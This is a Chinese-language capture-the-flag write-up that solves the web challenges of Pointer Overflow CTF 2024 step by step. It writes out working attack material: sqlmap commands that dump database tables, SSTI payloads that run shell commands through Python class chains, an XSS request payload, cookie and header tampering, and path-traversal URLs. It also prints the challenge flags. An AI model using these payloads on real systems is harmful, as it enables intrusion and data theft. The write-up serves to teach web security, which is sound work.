Pointer Overflow CTF - 2024 Web全write up
字数 2091 2025-08-22 12:22:30
Pointer Overflow CTF 2024 Web题目全解教学文档
Web 100 - Giving Up the Game
解题步骤
- 查看网页源码:在页面中查找隐藏信息
- 发现Base64编码字符串:
VGhhbmsgeW91IE1hcmlvISBCdXQgb3VyIHByaW5jZXNzIGlzIGluIGFub3RoZXIgY2FzdGxlIQ== - Base64解码:
Thank you Mario! But our princess is in another castle! - 访问源码中提到的路径:
/getSprites - 获取另一Base64编码:
cG9jdGZ7dXdzcF8xXzdIMW5rXzdIM3IzcjBfMV80bX0= - 最终解码得到flag:
poctf{uwsp_1_7H1nk_7H3r3r0_1_4m}
关键知识点
- Base64编码识别与解码:常见于CTF中的信息隐藏方式
- 源码审计:开发者可能在HTML注释或JS代码中隐藏线索
Web 100 - The Way Out is Through
解题步骤
- 查看网页源码:发现flag被分为5个部分
- 通过控制台获取各部分:
- part_1: "poct"
- part_2: "f{uwsp_"
- part_3: 通过
document.cookie获取"7h3" - part_4: "XzdydTdoXw==" (Base64解码为"7ru7h")
- part_5: 十六进制数组
[49,53,95,48,117,55,95,55,104,51,114,51,125]转换为ASCII为"15_0u7_7h3r3}"
- 拼接所有部分:
poctf{uwsp_7h3_7ru7h_15_0u7_7h3r3}
关键知识点
- 多部分flag拼接:flag可能分散在不同位置
- JavaScript调试技巧:使用控制台执行代码获取信息
- 数据格式转换:十六进制/ASCII转换、Base64解码
Web 200 - On My Own Terms
解题步骤
- 初始访问:页面看似空白
- 检查Cookie:发现
role参数 - 修改Cookie:将
role=user改为role=admin - 刷新页面:获取flag
关键知识点
- Cookie操作:修改身份验证参数是常见提权方法
- 权限提升:通过修改客户端数据获取更高权限
Web 200 - FBI-SiteAccess
解题步骤
- 初始访问:收到"Not FBI-SiteAccess-Authorized-Agent"错误
- 识别问题:需要特定User-Agent
- 使用Burp Suite拦截请求
- 修改User-Agent:设置为"FBI-SiteAccess-Authorized-Agent"
- 获取flag
关键知识点
- HTTP头修改:User-Agent等请求头可能用于访问控制
- Burp Suite使用:拦截和修改HTTP请求
Web 300 - The Color Drained from His Face
解题步骤
- 测试SQL注入:
;触发WAF' and '1'='2'--和' or '1'='2'--有不同响应,确认存在注入- 确定闭合方式为单引号
- 推测SQL语句结构:
SELECT * FROM recipes WHERE Ingredients LIKE '%$var%' - 使用sqlmap自动化测试:
sqlmap -r 1.txt -p query --dbs --level 5- 确认后端为SQLite
- 枚举表:
sqlmap -r 1.txt -p query --tables --level 5 - 发现
recipes表 - 枚举列:
sqlmap -r 1.txt -p query -T recipes --columns --level 5 - 发现
flag列 - 提取flag:
sqlmap -r 1.txt -p query -T recipes -C flag --dump --level 5
关键知识点
- SQL注入测试:闭合方式判断、WAF绕过
- sqlmap高级用法:
--level参数提高测试强度- SQLite特有枚举方式
- 从请求文件(
-r)中指定注入点
Web 100 - I Have Objections
方法1:SSTI利用
- 尝试XSS:发现report功能
- 测试SSTI:输入
{{self}}有回显 - 查找eval类:利用下标204的类
- 命令执行:
{{''.__class__.__mro__[1].__subclasses__()[204]('ls',shell=True,stdout=-1).communicate()}} - 读取源码:
{{''.__class__.__mro__[1].__subclasses__()[204]('cat ./app.py',shell=True,stdout=-1).communicate()}}
方法2:XSS利用
- 分析源码:发现
/flag路由需要X-Requested-With: XMLHttpRequest头 - 构造XSS payload:
var xhr = new XMLHttpRequest(); xhr.open('GET', '/flag', true); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if(xhr.status === 200) { console.log(xhr.responseText); } }; xhr.send();
关键知识点
- SSTI检测与利用:模板注入测试、Python类继承链利用
- XSS进阶利用:AJAX请求头设置
- 源码审计:通过错误信息推测后端实现
Web 200 - Three Raccoons in a Trench Coat
解题步骤
- 参数枚举:对
page参数进行fuzz测试 - 发现有效页面:
/storybook?page=1 /storybook?page=2 /storybook?page=3 /storybook?page=4 /storybook?page=100 /storybook?page=666 /storybook?page=secret /storybook?page=hidden /storybook?page=poctf /storybook?page=archive - 访问特殊页面获取flag
关键知识点
- 参数fuzzing:常见参数值枚举
- 隐蔽路径发现:数字、关键词、特殊值测试
Web 400 - A Bitter Delicacy
解题步骤
- 尝试登录:使用admin/123456,获取错误信息
- 分析错误:发现
log/error.log和view-file功能 - 访问文件查看功能:
http://34.135.223.176:10404/view-file?file=log/error.log - 目录遍历:
- 测试发现
.hidden目录
http://34.135.223.176:10404/view-file?file=.hidden/flag.txt - 测试发现
- 获取flag
关键知识点
- 错误信息利用:从报错中获取路径信息
- 文件包含漏洞:参数控制文件读取
- 隐蔽目录发现:常见隐藏目录/文件测试
总结
本CTF涵盖了Web安全的多个关键领域:
- 信息收集:源码审计、错误分析
- 加密解码:Base64处理
- 注入攻击:SQL注入、SSTI
- 客户端安全:Cookie操作、XSS
- 权限提升:通过修改请求参数
- 文件系统利用:目录遍历、文件读取
每个题目都展示了真实场景中可能遇到的安全问题及解决方案,是学习Web安全的优秀案例。